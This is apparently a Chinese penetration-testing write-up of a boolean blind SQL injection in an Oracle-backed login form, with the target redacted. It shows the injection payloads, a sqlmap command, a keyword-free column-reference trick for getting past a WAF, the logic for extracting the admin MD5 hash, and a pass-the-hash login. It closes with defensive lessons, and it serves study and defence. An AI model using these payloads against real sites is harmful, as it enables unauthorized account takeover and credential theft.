某登录接口 Oracle 布尔盲注

原创

添柴不加火
添柴不加火

希泽Sec

2026年10月19日 11:06
山东

去阅读

某登录接口 Oracle 布尔盲注

前言

温馨提示：本文仅供学习参考，任何违法行为均与作者无关。

起初测试这个目标站点的时候并没有考虑SQL注入，当时思路大致是先测试弱口令、验证码缺陷、分析一下目录 前端源码什么的，看看有没有泄露的信息，能不能未授权。在测试弱口令的时候发现用户名可以枚举，枚举出一个管理员账户名，密码没试出来，抱着试一试的心态测一下登录框能不能注入吧，结果发现1=1的时候返回密码错误，1=2的时候返回用户名或密码错误，嗯？有东西，就直接拿sqlmap跑一下，发现确实存在注入。因为这是登录框，涉及的SQL查询语句大概率是SELECT ... FROM user WHERE loginName='...' AND password='...'，这样的话就不用脱库名、表名了，可以先直接盲猜一手密码的字段名，如：password、Password、UserPassword、userPassword、userpass等，借助登录查询语句直接获取密码字段的值。

漏洞描述

目标登录接口 POST /login_login.action 的 loginName 参数存在布尔盲注。sqlmap 已确认注入点类型为：

Parameter: loginName (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: loginName=xxx' AND 2271=2271 AND 'dSiT'='dSiT&password=x

进一步指纹识别确认后端数据库为：

back-end DBMS: active fingerprint: Oracle 11g
banner: 'Oracle Database 11g Enterprise Edition Release xxx'

利用该注入可未授权读取登录表 user 的 userPassword 字段，并已脱出管理员 xxx 的 32 位 MD5 哈希：

xxx

由于前端登录时对密码做 MD5 后提交，服务端将提交值与库中 userPassword 直接比对，不再二次哈希，因此将该哈希原样作为 password 提交即可通过认证，导致管理员账号被接管。同时使用工具可以解密得到明文：

xxx@123.

基本信息

复现步骤

访问登录页面

访问：

http://xxx/login_login.action

页面为登录界面。

构造布尔条件

构造Payload：

loginName=admin' and '1'='1&password=x
loginName=admin' and '1'='2&password=x

围绕 loginName 构造真 / 假条件，观察返回是否为“登录密码错误”。

登录密码错误为真，用户名或密码错误为假，真条件与假条件返回不同，确认 loginName 存在布尔盲注。

sqlmap 验证注入点

使用 sqlmap 验证，核心命令框架已脱敏：

python sqlmap.py -u \"http://xxx/login_login.action\" data=\"loginName=admin&password=x\" -p loginName technique=B banner fingerprint level=2 risk=1 threads=1 delay=2 timeout=15 retries=0 user-agent=\"Mozilla/5.0\" string=\"登录密码错误\" flush-session

sqlmap 确认结果：

Parameter: loginName (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: loginName=xxx' AND 2271=2271 AND 'dSiT'='dSiT&password=x

后端数据库识别为：

back-end DBMS: active fingerprint: Oracle 11g
banner: 'Oracle Database 11g Enterprise Edition Release xxx'

裸列引用枚举

在登录查询中，后端 SQL 通常形如：

SELECT ... FROM user WHERE loginName='...' AND password='...'

因此当前查询上下文里已经存在 user 表，userPassword 列可以直接被引用。攻击者可构造：

loginName=admin' and <条件> and '1'='1

直接在 loginName 参数里引用 userPassword，无需使用 UNION、SELECT 或显式表名，从而绕过只拦截这些关键字的 WAF。

通过枚举可确认 userPassword 列存在。利用该注入可未授权读取登录表 user 的 userPassword 字段。

列引用等方式枚举，最终得到管理员 xxx 的 32 位 MD5 哈希：

xxx

编写 Python 脚本自动提取

编写脚本自动提取哈希，核心逻辑为：

# 仅示意逻辑，不提供完整可运行脚本

# 构造条件：
# loginName=admin' and {condition} and '1'='1
# password=x

# 根据响应是否包含“登录密码错误”判断真假
# 使用二分法提取：
# ascii(substr(userPassword, 位置, 1)) > mid

# 循环 1 到 32 位，得到 32 位 MD5 哈希

哈希解密与登录接管

得到 MD5 哈希后，使用工具解密得到明文：

xxx@123.

使用明文密码成功登录后台。
同时利用 BurpSuite 替换密码字段的 MD5 值，同样可以登录后台。

原因：

1. 1. 前端登录时对密码做 MD5 后提交。
2. 2. 服务端将提交值与数据库中的 userPassword 直接比对。
3. 3. 服务端不再二次哈希。
4. 4. 因此拿到数据库中的 MD5 哈希后，原样作为 password 提交即可通过认证。

要点

• • 登录接口是 SQL 注入高发点，尤其是 loginName、username、password 等参数。
• • 布尔盲注不依赖回显数据，而是依赖页面真假差异。
• • 前端 MD5 + 服务端直接比对哈希，是典型的认证设计缺陷。
• • 密码必须使用服务端加盐慢哈希存储，不能依赖前端哈希。
• • 数据库账号必须最小权限，避免注入后读取敏感表。
• • 错误信息统一化、验证码服务端强校验、WAF 规则升级都很关键。